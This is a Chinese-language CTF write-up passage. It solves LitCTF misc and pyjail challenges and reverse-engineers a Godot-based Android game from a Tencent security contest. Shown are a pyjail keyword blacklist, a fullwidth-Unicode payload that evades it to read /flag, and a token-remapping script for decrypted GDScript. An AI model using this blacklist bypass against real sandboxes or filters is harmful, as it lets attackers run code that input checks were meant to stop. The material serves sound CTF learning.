&lt;p&gt;附件给了一个gif，我们可以用&lt;a href=&quot;https://www.iloveimg.com/zh-cn/convert-to-jpg&quot;&gt;iloveimg&lt;/a&gt;这个网站把gif转为图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-63.png&quot; alt=&quot;Figure 63&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以发现二维码缺少定位符，依旧随波逐流&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-64.png&quot; alt=&quot;Figure 64&quot; /&gt;&lt;/p&gt;
&lt;p&gt;补全三个定位角之后即可识别&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-65.png&quot; alt=&quot;Figure 65&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_welcome&lt;/h2&gt;
&lt;p&gt;依旧拖进随波逐流&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-66.png&quot; alt=&quot;Figure 66&quot; /&gt;&lt;/p&gt;
&lt;p&gt;lsb分析&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-67.png&quot; alt=&quot;Figure 67&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LitCTF{w3lc0m3_t0_m1sc_w0rld}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_sstv&lt;/h2&gt;
&lt;p&gt;直接用在线网站解sstv&lt;/p&gt;
&lt;p&gt;https://sstv-decoder.mathieurenaud.fr/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-68.png&quot; alt=&quot;Figure 68&quot; /&gt;&lt;/p&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LitCTF{sstv_p4t13nc3}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_pyjail_reader&lt;/h2&gt;
&lt;p&gt;题目原件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;LitCTF — 入门 Pyjail：验证码 + 按指引两次只读文件（无 RCE）。&quot;&quot;&quot;

import secrets
import socket
import string
import threading

HOST = &quot;0.0.0.0&quot;
PORT = 9999
MAX_QUEUED = 64
MAX_LINE = 512
MAX_FILE = 4096


def recv_line(conn: socket.socket) -&amp;gt; str:
    data = bytearray()
    while len(data) &amp;lt; MAX_LINE:
        chunk = conn.recv(1)
        if not chunk:
            break
        if chunk == b&quot;\n&quot;:
            break
        data += chunk
    return data.decode(&quot;utf-8&quot;, errors=&quot;replace&quot;).strip()


def safe_read(path: str) -&amp;gt; str:
    p = path.strip()
    if not p or p.startswith(&quot;-&quot;) or &quot;\x00&quot; in p:
        raise ValueError(&quot;invalid path&quot;)
    with open(p, &quot;r&quot;, errors=&quot;replace&quot;) as f:
        return f.read(MAX_FILE)


def handle(conn: socket.socket) -&amp;gt; None:
    try:
        conn.settimeout(120)
        alphabet = string.ascii_uppercase
        challenge = &quot;&quot;.join(secrets.choice(alphabet) for _ in range(8))
        conn.sendall(
            f&quot;Please enter the reverse of &apos;{challenge}&apos; to continue: &quot;.encode()
        )
        ans = recv_line(conn)
        if ans != challenge[::-1]:
            conn.sendall(b&quot;Wrong reverse string. Bye.\n&quot;)
            return
        conn.sendall(
            b&quot;Good.\n&quot;
            b&quot;Step 1: read /app/where_is_flag.txt (it contains the flag path).\n&quot;
            b&quot;Step 2: read that path.\n&quot;
            b&quot;File path (1/2): &quot;
        )
        p1 = recv_line(conn)
        try:
            c1 = safe_read(p1)
        except Exception as e:
            conn.sendall(f&quot;Error: {e}\n&quot;.encode(errors=&quot;replace&quot;))
            return
        conn.sendall(b&quot;--- begin ---\n&quot;)
        conn.sendall(c1.encode(errors=&quot;replace&quot;))
        conn.sendall(b&quot;\n--- end ---\nFile path (2/2): &quot;)
        p2 = recv_line(conn)
        try:
            c2 = safe_read(p2)
        except Exception as e:
            conn.sendall(f&quot;Error: {e}\n&quot;.encode(errors=&quot;replace&quot;))
            return
        conn.sendall(c2.encode(errors=&quot;replace&quot;))
        conn.sendall(b&quot;\n&quot;)
    finally:
        conn.close()


def main() -&amp;gt; None:
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(MAX_QUEUED)
    while True:
        client, _ = srv.accept()
        threading.Thread(target=handle, args=(client,), daemon=True).start()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对题目原件分析后&lt;/p&gt;
&lt;p&gt;整道题不需要任何绕过，&lt;strong&gt;完全按照服务器的 Step1 / Step2 顺序走&lt;/strong&gt;即可。脚本主要负责：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;接收 banner，正则提取 8 字母 challenge&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;反转后送回&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;发送 &lt;code&gt;/app/where\_is\_flag\.txt&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解析 &lt;code&gt;\-\-\- begin \-\-\- \.\.\. \-\-\- end \-\-\-&lt;/code&gt; 之间的内容拿到真实路径&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;把这个路径再发回去，收最后输出&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;经典的新手引导型交互题&lt;/p&gt;
&lt;p&gt;流程：&lt;/p&gt;
&lt;p&gt;反转验证码&lt;/p&gt;
&lt;p&gt;读取： /app/where_is_flag.txt&lt;/p&gt;
&lt;p&gt;得到真正 flag 路径&lt;/p&gt;
&lt;p&gt;第二次读取那个路径&lt;/p&gt;
&lt;p&gt;拿 flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-69.png&quot; alt=&quot;Figure 69&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{sisx9chi-ciik-4cd-81xr-vcfrxt7frexgh}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_pyjail_unicode&lt;/h2&gt;
&lt;p&gt;原件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
&quot;&quot;&quot;LitCTF — Unicode 标识符绕过：过滤检查原始源码字符串，解释器仍接受全角等价标识符。&quot;&quot;&quot;

import re
import socket
import threading

HOST = &quot;0.0.0.0&quot;
PORT = 9999
MAX_QUEUED = 64
MAX_LINE = 240

# 仅检查「你键入的文本」：ASCII 关键字用词边界，避免匹配到 important 等
BANNED = re.compile(
    r&quot;\bimport\b|\bexec\b|\beval\b|\bopen\b|\bcompile\b|\bglobals\b|\blocals\b|__|&quot;
    r&quot;\bgetattr\b|\bsetattr\b|\bdelattr\b|\bvars\b|\bbreakpoint\b|\binput\b|&quot;
    r&quot;\bsubprocess\b|\bpty\b|os.|sys.|\bposix\b&quot;,
    re.IGNORECASE,
)


def banned(raw: str) -&amp;gt; bool:
    if &quot;\\u&quot; in raw or &quot;\\U&quot; in raw or &quot;\\x&quot; in raw:
        return True
    return BANNED.search(raw) is not None


def handle(conn: socket.socket) -&amp;gt; None:
    try:
        conn.settimeout(60)
        conn.sendall(
            b&quot;=== LitCTF pyjail unicode ===\n&quot;
            b&quot;Send ONE line of Python. It will be eval() with full __builtins__.\n&quot;
            b&quot;ASCII blacklist applies to your *source text* (see attachment jail.py).\n&quot;
            b&quot;Goal: read /flag and get its str content.\n&amp;gt; &quot;
        )
        raw = bytearray()
        while len(raw) &amp;lt; MAX_LINE:
            ch = conn.recv(1)
            if not ch:
                break
            if ch == b&quot;\n&quot;:
                break
            raw += ch
        line = raw.decode(&quot;utf-8&quot;, errors=&quot;replace&quot;).strip()
        if not line:
            conn.sendall(b&quot;empty\n&quot;)
            return
        if banned(line):
            conn.sendall(b&quot;disallowed pattern in source\n&quot;)
            return
        try:
            out = eval(line, {&quot;__builtins__&quot;: __builtins__})
            conn.sendall(repr(out).encode(errors=&quot;replace&quot;) + b&quot;\n&quot;)
        except Exception as e:
            conn.sendall(f&quot;{type(e).__name__}: {e}\n&quot;.encode(errors=&quot;replace&quot;))
    finally:
        conn.close()


def main() -&amp;gt; None:
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((HOST, PORT))
    srv.listen(MAX_QUEUED)
    while True:
        c, _ = srv.accept()
        threading.Thread(target=handle, args=(c,), daemon=True).start()


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目给了一个 Python pyjail，并提示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Send ONE line of Python. It will be eval() with full __builtins__.
ASCII blacklist applies to your source text.
Goal: read /flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;源码关键部分：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;BANNED = re.compile(
    r&quot;\bimport\b|\bexec\b|\beval\b|\bopen\b|...&quot;
)

if banned(line):
    conn.sendall(b&quot;disallowed pattern in source\n&quot;)
    return

out = eval(line, {&quot;__builtins__&quot;: __builtins__})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;黑名单只检查「原始输入字符串」&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;但 &lt;code&gt;eval\(\)&lt;/code&gt; 使用完整 &lt;code&gt;builtins&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;并没有真正删除 &lt;code&gt;open&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;题目名是 &lt;strong&gt;unicode&lt;/strong&gt;，因此考虑 Unicode 标识符绕过。&lt;/p&gt;
&lt;p&gt;一句话总结&lt;/p&gt;
&lt;p&gt;黑名单看的是字节，解析器看的是 NFKC 归一化后的标识符——两者认知不一致就是这道题的洞。把 &lt;code&gt;open&lt;/code&gt; 写成全角 &lt;code&gt;ｏｐｅｎ&lt;/code&gt;，正则一无所知，编译器照常解析为内置 &lt;code&gt;open&lt;/code&gt;，eval 一行 &lt;code&gt;ｏｐｅｎ\(\&amp;amp;\#39;/flag\&amp;amp;\#39;\)\.read\(\)&lt;/code&gt; 收工。&lt;/p&gt;
&lt;p&gt;用全角字符绕过&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import socket

HOST = &quot;challenge.cyclens.tech&quot;
PORT = 32326

s = socket.socket()
s.connect((HOST, PORT))

print(s.recv(4096).decode())

payload = &quot;ｏｐｅｎ(&apos;/flag&apos;).read()\n&quot;

s.send(payload.encode())

print(s.recv(4096).decode())

s.close()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-70.png&quot; alt=&quot;Figure 70&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>腾讯游戏安全大赛-安卓端</title><link>https://blog-5w0.pages.dev/posts/tencent-game-security-android/</link><guid isPermaLink="true">https://blog-5w0.pages.dev/posts/tencent-game-security-android/</guid><description>腾讯游戏安全大赛安卓端复现记录</description><pubDate>Sun, 24 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;腾讯游戏安全大赛-安卓端&lt;/h1&gt;
&lt;p&gt;第一次见到apk里面的的Godot壳，记录一下&lt;/p&gt;
&lt;p&gt;先对apk进行分析，实际上在jadx中看不到游戏逻辑，java层基本没有赛题逻辑，主要是启动Godot&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-01.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们在buildconfig里面可以看到so加载的位置有一个是org.godotengine.godot&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-02.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;跳转过去，加载的so文件名是libgodot_android.so，但实际解包的so文件并不是这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-03.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;问AI，ai的回复是&lt;/p&gt;
&lt;p&gt;libsec2026.so 更像是 Godot GDExtension 插件形式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Java: System.loadLibrary(&quot;godot_android&quot;)
        ↓
Godot native engine 初始化
        ↓
Godot 读取项目资源 / GDExtension 配置
        ↓
native 层 dlopen/load libsec2026.so
        ↓
调用 extension_init 注册扩展
        ↓
后续脚本或引擎调用 VMEntry / 注册方法
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解包后的assets，里面有游戏的主要逻辑脚本，但是都被加密了&lt;/p&gt;
&lt;p&gt;我们接下里只能去so层分析，找到加密逻辑&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Java 层 System.loadLibrary(&quot;godot_android&quot;)
        ↓
libgodot_android.so 启动 Godot
        ↓
Godot 读 extension_list.cfg
        ↓
Godot 用内置解密逻辑/key 解密 sec2026.gdextension
        ↓
解析 gdextension
        ↓
再加载 libsec2026.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析libgodot_android.so加载解析逻辑&lt;/p&gt;
&lt;p&gt;首先来说一下，这个so不是题目的核心校验so，他更像Godot在安卓里运行的“总管”，负责把Godot引擎在Android上跑起来、把项目资源定位到、把加密资源解开、把脚本和扩展加载进去，最后把控制权交给游戏逻辑。&lt;/p&gt;
&lt;p&gt;sub_3CD373C是项目装载前的准备工作&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;统一路径分隔符&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-04.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;看有没有 res://project.godot&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;看有没有 res://project.binary&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-05.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以它本质上是在回答：&lt;/p&gt;
&lt;p&gt;“我要从哪个目录/哪个包，把 Godot 项目资源读出来？”&lt;/p&gt;
&lt;p&gt;当某个资源真正被打开时，才进入“加密资源链”&lt;/p&gt;
&lt;p&gt;这时就轮到 PackedSourcePCK 那一支了，函数在sub_3805698&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-06.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-07.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;再跳到sub_3805E9C，是包装层，准备 key 和参数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-08.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;真正的加密核心在这里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-09.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;它做的事是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;读取文件头&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;取前 16 字节 MD5&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;取 8 字节明文长度&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;取 16 字节 IV&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;剩下的是密文&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;用 32 字节 key 做 AES-256-CFB128&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解出来之后再校验 MD5&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;到这里我其实认为文件已近完全解密了，但实际上不是，我尝试了最新版本的反编译工具，反编译出来的gd文件只有函数类型，函数内容全是乱码，所以 .gdc 文件解密后虽然格式正确，但里面的 token ID 是题目自定义版。普通工具按原版编号解释，就会把 extends / func / if / return 之类解释错，于是出现：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;var not ``not != &amp;amp;&amp;amp;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这种乱码源码。&lt;/p&gt;
&lt;p&gt;经过与agent对话，发现除了一套魔改的AES-256-CFB128加密外，还有一套魔改的token enum，这才导致我之前看不到游戏源码。&lt;/p&gt;
&lt;p&gt;下面来讲解一下token enum这套逻辑&lt;/p&gt;
&lt;p&gt;字符串搜索GDScriptTokenizerBuffer&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-10.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看sub_148F66c函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-11.png&quot; alt=&quot;Image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;核心逻辑是读取 .gdc 里的 token ID，然后按题目自己的表解释。&lt;/p&gt;
&lt;p&gt;最后整理出来的映射大概是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;题目 token ID        真实 Godot token
------------------------------------
0                   EMPTY
1                   NEWLINE
2                   INDENT
3                   DEDENT
4..7                PI / TAU / INF / NAN

11                  ANNOTATION
12                  IDENTIFIER
13                  LITERAL

14..49              原版 token 4..39
51..83              原版 token 40..72
84..98              原版 token 73..87

99                  EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;换成更好理解的公式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;题目 14..49  -&amp;gt; 原版 = 题目ID - 10
题目 51..98  -&amp;gt; 原版 = 题目ID - 11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;特殊值单独处理：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;11 -&amp;gt; 1
12 -&amp;gt; 2
13 -&amp;gt; 3
99 -&amp;gt; EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而普通 GDRE Tools 不知道这件事，它看到 81 会按官方表理解，自然就反编译错。&lt;/p&gt;
&lt;p&gt;修复编号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from __future__ import annotations

import argparse
import shutil
import struct
from pathlib import Path

import zstandard as zstd

TOKEN_BYTE_MASK = 0x80
TOKEN_MASK = 0x7F

def custom_to_stock_token(token: int) -&amp;gt; int:
    &quot;&quot;&quot;Map this challenge&apos;s modified GDScript token ids back to Godot 4.5 ids.&quot;&quot;&quot;
    if token == 0:
        return 0  # EMPTY
    if token == 1:
        return 88  # NEWLINE
    if token == 2:
        return 89  # INDENT
    if token == 3:
        return 90  # DEDENT
    if 4 &amp;lt;= token &amp;lt;= 7:
        return token + 87  # PI, TAU, INF, NAN
    if token == 11:
        return 1  # ANNOTATION
    if token == 12:
        return 2  # IDENTIFIER
    if token == 13:
        return 3  # LITERAL
    if 14 &amp;lt;= token &amp;lt;= 49:
        return token - 10  # operators
    if token == 50:
        return 98  # ERROR
    if 51 &amp;lt;= token &amp;lt;= 83:
        return token - 11  # keywords
    if 84 &amp;lt;= token &amp;lt;= 98:
        return token - 11  # punctuation
    if token == 99:
        return 99  # EOF
    return token

def u32(raw: bytes | bytearray, off: int) -&amp;gt; int:
    return struct.unpack_from(&quot;&amp;lt;I&quot;, raw, off)[0]

def skip_string(raw: bytes | bytearray, off: int) -&amp;gt; int:
    length = u32(raw, off)
    return off + 4 + length * 4

def skip_padded_utf8(raw: bytes | bytearray, off: int, length: int) -&amp;gt; int:
    return off + ((length + 3) &amp;amp; ~3)

def skip_variant(raw: bytes | bytearray, off: int) -&amp;gt; int:
    typ = u32(raw, off)
    off += 4
    base = typ &amp;amp; 0xFFFF
    is64 = bool(typ &amp;amp; 0x10000)
    if base in (0,):
        return off
    if base in (1,):
        return off + 4
    if base in (2, 3):
        return off + (8 if is64 else 4)
    if base in (4, 21, 22):
        length = u32(raw, off)
        off += 4
        return skip_padded_utf8(raw, off, length)
    raise ValueError(f&quot;unsupported Variant type 0x{typ:x} at 0x{off - 4:x}&quot;)

def parse_token_stream(raw: bytes | bytearray, off: int, token_count: int) -&amp;gt; int | None:
    cur = off
    for _ in range(token_count):
        if cur &amp;gt;= len(raw):
            return None
        token = raw[cur] &amp;amp; TOKEN_MASK
        if token &amp;gt; 99:
            return None
        if raw[cur] &amp;amp; TOKEN_BYTE_MASK:
            if cur + 8 &amp;gt; len(raw):
                return None
            cur += 8
        else:
            if cur + 5 &amp;gt; len(raw):
                return None
            cur += 5
    return cur if cur == len(raw) else None

def find_token_stream(raw: bytes | bytearray, min_off: int, token_line_count: int, token_count: int) -&amp;gt; int:
    maps_size = token_line_count * 16
    # Prefer aligned candidates because the constants and line/column maps are u32-based.
    for maps_off in range((min_off + 3) &amp;amp; ~3, len(raw) - maps_size + 1, 4):
        token_off = maps_off + maps_size
        if parse_token_stream(raw, token_off, token_count) is not None:
            return token_off
    # Fallback for malformed alignment guesses.
    for maps_off in range(min_off, len(raw) - maps_size + 1):
        token_off = maps_off + maps_size
        if parse_token_stream(raw, token_off, token_count) is not None:
            return token_off
    raise ValueError(&quot;could not locate token stream&quot;)

def patch_gdc(data: bytes) -&amp;gt; tuple[bytes, int]:
    if data[:4] != b&quot;GDSC&quot;:
        raise ValueError(&quot;not a GDSC file&quot;)
    if len(data) &amp;lt; 12:
        raise ValueError(&quot;truncated GDSC file&quot;)

    version = data[4:8]
    declared_raw_len = u32(data, 8)
    raw = bytearray(zstd.ZstdDecompressor().decompress(data[12:]))
    if declared_raw_len != len(raw):
        raise ValueError(f&quot;raw length mismatch: header={declared_raw_len} actual={len(raw)}&quot;)

    identifier_count = u32(raw, 0)
    constant_count = u32(raw, 4)
    token_line_count = u32(raw, 8)
    token_count = u32(raw, 12)

    off = 16
    for _ in range(identifier_count):
        off = skip_string(raw, off)

    constants_off = off
    try:
        for _ in range(constant_count):
            off = skip_variant(raw, off)
        token_off = off + token_line_count * 16
        if parse_token_stream(raw, token_off, token_count) is None:
            raise ValueError(&quot;parsed constants did not lead to a valid token stream&quot;)
    except Exception:
        token_off = find_token_stream(raw, constants_off, token_line_count, token_count)

    patched = 0
    off = token_off
    for _ in range(token_count):
        token_off = off
        if raw[off] &amp;amp; TOKEN_BYTE_MASK:
            encoded = u32(raw, off)
            old = encoded &amp;amp; TOKEN_MASK
            new = custom_to_stock_token(old)
            struct.pack_into(&quot;&amp;lt;I&quot;, raw, off, (encoded &amp;amp; ~TOKEN_MASK) | new)
            off += 8
        else:
            old = raw[off] &amp;amp; TOKEN_MASK
            new = custom_to_stock_token(old)
            raw[off] = (raw[off] &amp;amp; ~TOKEN_MASK) | new
            off += 5
        if old != new:
            patched += 1

    if off != len(raw):
        raise ValueError(f&quot;trailing bytes after token stream: {len(raw) - off}&quot;)

    compressed = zstd.ZstdCompressor(level=19).compress(bytes(raw))
    return b&quot;GDSC&quot; + version + struct.pack(&quot;&amp;lt;I&quot;, len(raw)) + compressed, patched

def main() -&amp;gt; int:
    parser = argparse.ArgumentParser(description=&quot;Patch modified Godot 4.5 GDScript token ids back to stock ids.&quot;)
    parser.add_argument(&quot;src&quot;, type=Path, help=&quot;source file or directory&quot;)
    parser.add_argument(&quot;dst&quot;, type=Path, help=&quot;output file or directory&quot;)
    args = parser.parse_args()

    src = args.src.resolve()
    dst = args.dst.resolve()
    if src.is_file():
        dst.parent.mkdir(parents=True, exist_ok=True)
        out, count = patch_gdc(src.read_bytes())
        dst.write_bytes(out)
        print(f&quot;[patch] {src.name}: tokens={count}&quot;)
        return 0

    for path in src.rglob(&quot;*&quot;):
        if not path.is_file():
            continue
        rel = path.relative_to(src)
        out_path = dst / rel
        out_path.parent.mkdir(parents=True, exist_ok=True)
        if path.suffix.lower() == &quot;.gdc&quot;:
            try:
                out, count = patch_gdc(path.read_bytes())
            except Exception as exc:
                shutil.copy2(path, out_path)
                print(f&quot;[skip] {rel}: {exc}&quot;)
            else:
                out_path.write_bytes(out)
                print(f&quot;[patch] {rel}: tokens={count}&quot;)
        else:
            shutil.copy2(path, out_path)
    return 0

if __name__ == &quot;__main__&quot;:
    raise SystemExit(main())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个时候gdc可以正常反编译为gd文件了&lt;/p&gt;
&lt;p&gt;token.gd，是token的生成逻辑，长度恒定为8chars&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;extends Label

var _r8: = RandomNumberGenerator.new()
var _sc0 = 0
var _hx: = &quot;0123456789&quot; + &quot;abcdef&quot;
var _tl: = 4 * 2

func _mk(n: int) -&amp;gt; String:
    var _buf: = &quot;&quot;
    var _mx: = _hx.length() - 1
    var _j: = 0
    while _j &amp;lt; n:
        var _p: = _r8.randi_range(0, _mx)
        _buf += _hx[_p]
        _j += 1
    return _buf

func _ready() -&amp;gt; void :
    _r8.randomize()
    var _pfx: = &quot;Token: &quot;
    var _val: = _mk(_tl)
    text = _pfx + _val
    var _out: = text
    print(_out)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;trigger1.gd的逻辑就是示例flag的生成逻辑&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;extends Area3D

signal collided_with(name)
var _f0: = false
var _f1: = false
var _tv: = 0.0
var _ix: = 0
var _gx

func _m3():
    if $MeshInstance3D == null:
        return
    $MeshInstance3D.rotation.y += _rv * 1.0
    var _yp = sin(_tv) * 0.2
    $MeshInstance3D.position.y = _yp
    var _sc = 1.0 + sin(_tv * 3.0) * 0.1
    $MeshInstance3D.scale = Vector3(_sc, _sc, _sc)

var _rv: = 0.0

func _kc():
    var _bp: = get_overlapping_bodies()
    if _bp.size() &amp;lt; 1:
        return
    var _np: = str(get_path())
    var _t1: = &quot;/root/&quot; + &quot;TownScene&quot; + &quot;/Trigger1&quot;
    if _np != _t1:
        return
    var _lb: = get_node(NodePath(&quot;/root/TownScene/Label2&quot;))
    var _px: = &quot;flag{&quot;
    var _sx: = &quot;sec2026&quot; + &quot;_PART0_&quot; + &quot;example&quot; + &quot;}&quot;
    _lb.text = _px + _sx

func _ready():
    connect(&quot;body_entered&quot;, Callable(self, &quot;_on_body_entered&quot;))
    _gx = GameExtension.new()

func _on_body_entered(_b):
    pass

func _process(_d):
    _gx.Tick()
    _rv = _d
    _tv += _d * 2.0
    _m3()
    _kc()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;trigger2.gd的源码，也就是part1的生成逻辑&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;extends Area3D

signal collided_with(name)
var _gx = GameExtension.new()
var _tv: = 0.0
var _ix: = 0

func _h2b(_s: String) -&amp;gt; PackedByteArray:
    var _r: = PackedByteArray()
    var _n: = _s.length()
    var _j: = 0
    while _j &amp;lt; _n:
        _r.append(_s.substr(_j, 2).hex_to_int())
        _j += 2
    return _r

func _b2h(_ba: PackedByteArray) -&amp;gt; String:
    var _r: = &quot;&quot;
    for _v in _ba:
        _r += &quot;%02x&quot; % _v
    return _r

func _xb(_a: PackedByteArray, _b: PackedByteArray) -&amp;gt; PackedByteArray:
    var _r: = PackedByteArray()
    var _n: = _a.size()
    var _j: = 0
    while _j &amp;lt; _n:
        _r.append(_a[_j] ^ _b[_j])
        _j += 1
    return _r

func _rf(_bl: PackedByteArray, _ky: PackedByteArray, _rn: int) -&amp;gt; PackedByteArray:
    var _r: = PackedByteArray()
    var _ks: = _ky.size()
    for _j in _bl.size():
        var _v: = _bl[_j] ^ _ky[(_j + _rn) % _ks]
        _v = (_v * 7 + _rn) &amp;amp; 255
        _v = ((_v &amp;lt;&amp;lt; 3) | (_v &amp;gt;&amp;gt; 5)) &amp;amp; 255
        _r.append(_v)
    return _r

func _fe(_th: String) -&amp;gt; String:
    var _da: = _h2b(_th)
    assert (_da.size() == (2 &amp;lt;&amp;lt; 1))
    var _hl: = 2
    var _lo: = _da.slice(0, _hl)
    var _hi: = _da.slice(_hl, _hl * 2)
    var _kp: = (&quot;Sec&quot; + &quot;2026&quot; + &quot;_God&quot; + &quot;ot&quot;).to_utf8_buffer()
    var _rn: = 0
    while _rn &amp;lt; (4 * 2):
        var _fv: = _rf(_hi, _kp, _rn)
        var _nr: = _xb(_lo, _fv)
        _lo = _hi
        _hi = _nr
        _rn += 1
    var _ot: = PackedByteArray()
    _ot.append_array(_lo)
    _ot.append_array(_hi)
    return &quot;sec&quot; + &quot;2026&quot; + &quot;_PART&quot; + &quot;1_&quot; + _b2h(_ot)

func _ready() -&amp;gt; void :
    body_entered.connect(_w7)

func _w7(_ar):
    var _lb: = get_node(NodePath(&quot;/root/TownScene/&quot; + &quot;Label2&quot;))
    var _lt: = get_node(NodePath(&quot;/root/TownScene/&quot; + &quot;Label&quot;))
    var _tx: = str(_lt.text)
    var _tk: = _tx.substr(3 + 4)
    var _pf: = &quot;flag{&quot;
    var _rs: = _fe(_tk)
    _lb.text = _pf + _rs + &quot;}&quot; + &quot;   &quot;

func _m3(_d: float):
    if $MeshInstance3D == null:
        return
    $MeshInstance3D.rotation.y += _d * 1.0
    var _yp = sin(_tv) * 0.2
    $MeshInstance3D.position.y = _yp
    var _sc = 1.0 + sin(_tv * 3.0) * 0.1
